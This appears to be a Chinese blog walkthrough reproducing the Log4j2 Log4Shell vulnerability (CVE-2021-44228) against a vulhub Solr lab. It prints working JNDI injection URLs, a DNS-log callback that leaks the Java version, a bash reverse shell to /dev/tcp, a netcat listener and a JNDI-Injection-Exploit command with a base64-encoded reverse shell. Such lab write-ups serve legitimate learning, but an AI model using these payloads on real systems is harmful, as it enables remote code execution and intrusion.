[CVE-2021-44228]:log4j2漏洞复现流程详解(vulhub环境)

2024-04-24 06:04

本文主要是介绍[CVE-2021-44228]:log4j2漏洞复现流程详解(vulhub环境),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

CVE-2021-44228漏洞复现

漏洞简介

Apache Log4j2是Apache软件基金会下的一个开源的基于java的日志记录工具。该远程代码执行漏洞基于攻击者使用${}关键标识触发JNDI注入漏洞,可以执行任意代码。

漏洞复现

靶机:192.168.74.150
攻击机:192.168.74.148

启动docker

在这里插入图片描述

docker-compose 

在这里插入图片描述

docker ps

查看docker所在进程,如图所示
在这里插入图片描述
在kali火狐浏览器中打开,显示此界面为成功

在这里插入图片描述
获得一个临时的DNS,这里是网站。
在这里插入图片描述

在浏览器中输入 http://192.168.74.150:5005/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.armp2a.dnslog.cn}

在这里插入图片描述
如图,成功回显java版本号
在这里插入图片描述

在攻击机中下载注入工具 git clone https://github.com/bkfish/Apache-Log4j-Learning.git

在这里插入图片描述

bash -i >& /dev/tcp/192.168.74.148/19999 0>&1

在这里插入图片描述

在攻击机上开启端口监听 nc -lvvp 19999

在这里插入图片描述

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc0LjE0OC8xOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.74.148"
#直接运行并在攻击机中开启监听

在这里插入图片描述

http://192.168.74.150:8983/solr/admin/cores?action=${jndi:ldap://192.168.74.148:1389/jas9lj}

随机选择一个直接使用即可

在这里插入图片描述
如图即表示渗透成功!

养成好习惯,用完记得关闭:docker-compose down

待完善…

这篇关于[CVE-2021-44228]:log4j2漏洞复现流程详解(vulhub环境)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/930941

相关文章

springboot2.1.3 hystrix集成及hystrix-dashboard监控详解

《springboot2.1.3hystrix集成及hystrix-dashboard监控详解》Hystrix是Netflix开源的微服务容错工具,通过线程池隔离和熔断机制防止服务崩溃,支持降级、监... 目录Hystrix是Netflix开源技术www.chinasem.cn栈中的又一员猛将Hystrix熔

Java调用Python脚本实现HelloWorld的示例详解

《Java调用Python脚本实现HelloWorld的示例详解》作为程序员,我们经常会遇到需要在Java项目中调用Python脚本的场景,下面我们来看看如何从基础到进阶,一步步实现Java与Pyth... 目录一、环境准备二、基础调用:使用 Runtime.exec()2.1 实现步骤2.2 代码解析三、

python之uv使用详解

《python之uv使用详解》文章介绍uv在Ubuntu上用于Python项目管理,涵盖安装、初始化、依赖管理、运行调试及Docker应用,强调CI中使用--locked确保依赖一致性... 目录安装与更新standalonepip 安装创建php以及初始化项目依赖管理uv run直接在命令行运行pytho

Springboot项目构建时各种依赖详细介绍与依赖关系说明详解

《Springboot项目构建时各种依赖详细介绍与依赖关系说明详解》SpringBoot通过spring-boot-dependencies统一依赖版本管理,spring-boot-starter-w... 目录一、spring-boot-dependencies1.简介2. 内容概览3.核心内容结构4.

MySQL中REPLACE函数与语句举例详解

《MySQL中REPLACE函数与语句举例详解》在MySQL中REPLACE函数是一个用于处理字符串的强大工具,它的主要功能是替换字符串中的某些子字符串,:本文主要介绍MySQL中REPLACE函... 目录一、REPLACE()函数语法:参数说明:功能说明:示例:二、REPLACE INTO语句语法:参数

redis数据结构之String详解

《redis数据结构之String详解》Redis以String为基础类型,因C字符串效率低、非二进制安全等问题,采用SDS动态字符串实现高效存储,通过RedisObject封装,支持多种编码方式(如... 目录一、为什么Redis选String作为基础类型?二、SDS底层数据结构三、RedisObject

springboot整合mqtt的步骤示例详解

《springboot整合mqtt的步骤示例详解》MQTT(MessageQueuingTelemetryTransport)是一种轻量级的消息传输协议,适用于物联网设备之间的通信,本文介绍Sprin... 目录1、引入依赖包2、yml配置3、创建配置4、自定义注解6、使用示例使用场景:mqtt可用于消息发

Python Flask实现定时任务的不同方法详解

《PythonFlask实现定时任务的不同方法详解》在Flask中实现定时任务,最常用的方法是使用APScheduler库,本文将提供一个完整的解决方案,有需要的小伙伴可以跟随小编一起学习一下... 目录完js整实现方案代码解释1. 依赖安装2. 核心组件3. 任务类型4. 任务管理5. 持久化存储生产环境

详解Java中三种状态机实现方式来优雅消灭 if-else 嵌套

《详解Java中三种状态机实现方式来优雅消灭if-else嵌套》这篇文章主要为大家详细介绍了Java中三种状态机实现方式从而优雅消灭if-else嵌套,文中的示例代码讲解详细,感兴趣的小伙伴可以跟... 目录1. 前言2. 复现传统if-else实现的业务场景问题3. 用状态机模式改造3.1 定义状态接口3

MySQL 临时表与复制表操作全流程案例

《MySQL临时表与复制表操作全流程案例》本文介绍MySQL临时表与复制表的区别与使用,涵盖生命周期、存储机制、操作限制、创建方法及常见问题,本文结合实例代码给大家介绍的非常详细,感兴趣的朋友跟随小... 目录一、mysql 临时表(一)核心特性拓展(二)操作全流程案例1. 复杂查询中的临时表应用2. 临时